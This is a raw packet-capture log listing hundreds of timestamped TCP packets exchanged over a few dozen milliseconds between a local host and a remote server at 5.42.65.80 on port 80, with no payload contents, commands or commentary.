Sep 23, 2023 17:53:23.650778055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650799990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650835037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650861025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650876045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650909901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.650953054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.650959015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651009083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651051044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.651057005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651654005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651681900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651701927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.651729107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651756048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651770115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.651806116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651843071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.651854992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.651931047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652000904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652021885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.652571917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652599096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652618885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.652779102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652806997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652820110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.652856112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652894020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.652955055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.652981043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653019905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.653105021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653286934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653327942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.653343916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653743029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653786898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653795958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.653826952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.653870106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.653904915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654052973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654099941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.654135942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654218912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654246092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654263020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.654648066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654696941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.654858112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654942989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654969931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.654982090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.655009985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.655049086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.655060053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.655128002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.655162096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.655265093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.655879974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.655924082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.655961990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656044960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656081915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.656117916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656205893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656246901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.656284094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656363964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656407118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.656443119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656783104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656826019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.656862020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656954050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.656991005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657027006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657114029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657154083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657188892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657356977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657397032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657550097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657644987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657684088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657701015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657751083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657777071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657788992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657841921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.657879114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.657896042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658052921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658092976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.658104897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658714056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658757925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.658792019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658818960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658858061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.658869982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658942938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.658982038 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.658984900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659034967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659070969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.659089088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659270048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659308910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659308910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.659857988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659903049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.659909010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.659970999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660012960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.660036087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660094976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660131931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.660171986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660233021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660274029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.660352945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660871029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.660913944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.660974026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661006927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661045074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.661067009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661247015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661282063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.661421061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661437035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661509991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.661580086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661786079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661835909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.661859989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661957979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.661995888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662096977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662206888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662241936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662446976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662486076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662522078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662544012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662615061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662652016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662676096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662811995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662851095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662875891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662935019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.662972927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.662997961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663091898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663129091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.663178921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663604021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663641930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.663681030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663731098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663768053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.663815975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663849115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663882971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.663909912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.663975954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664016008 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.664089918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664518118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664556026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.664572954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664732933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664769888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.664808035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664951086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.664993048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.665079117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665096045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665131092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.665193081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665209055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665242910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.665251017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665910006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.665950060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.666040897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666106939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666122913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666145086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.666168928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666208029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.666245937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666296959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666333914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.666335106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666624069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.666660070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.666930914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667027950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667066097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667067051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.667152882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667191029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.667260885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667316914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667352915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.667366982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667789936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667831898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.667856932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.667996883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668041945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.668056011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668137074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668175936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.668201923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668283939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668325901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.668365002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668591976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668631077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.668812990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668891907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668931961 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.668941975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.668992996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669008970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669029951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.669069052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669106007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.669117928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669558048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669599056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.669662952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669733047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669768095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.669913054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.669970989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.670007944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.670008898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.670067072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.670108080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.670125961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.670485973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.670528889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.670959949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671255112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671294928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.671303988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671400070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671437979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.671751022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671835899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671873093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.671899080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.671977043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672019005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672024965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672071934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672087908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672108889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672180891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672218084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672257900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672363997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672403097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672569990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672650099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672687054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672712088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672826052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672863007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672888994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672918081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.672955036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.672967911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673029900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673063993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.673086882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673127890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673162937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.673274994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673501015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673542023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.673707008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673775911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673810959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.673813105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673892975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.673927069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.673929930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674011946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674052954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.674141884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674231052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674267054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.674405098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674491882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674527884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.674542904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674628019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674665928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.674705029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674810886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.674863100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.674901962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675369978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675421953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.675446033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675474882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675510883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.675535917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675609112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675643921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.675645113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675704002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.675740957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.675765038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.677062988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.677105904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.677406073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.680569887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.680624962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.680778980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.680818081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.680860996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.680864096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.685362101 CEST	80	49781	5.42.65.80	192.168.2.4
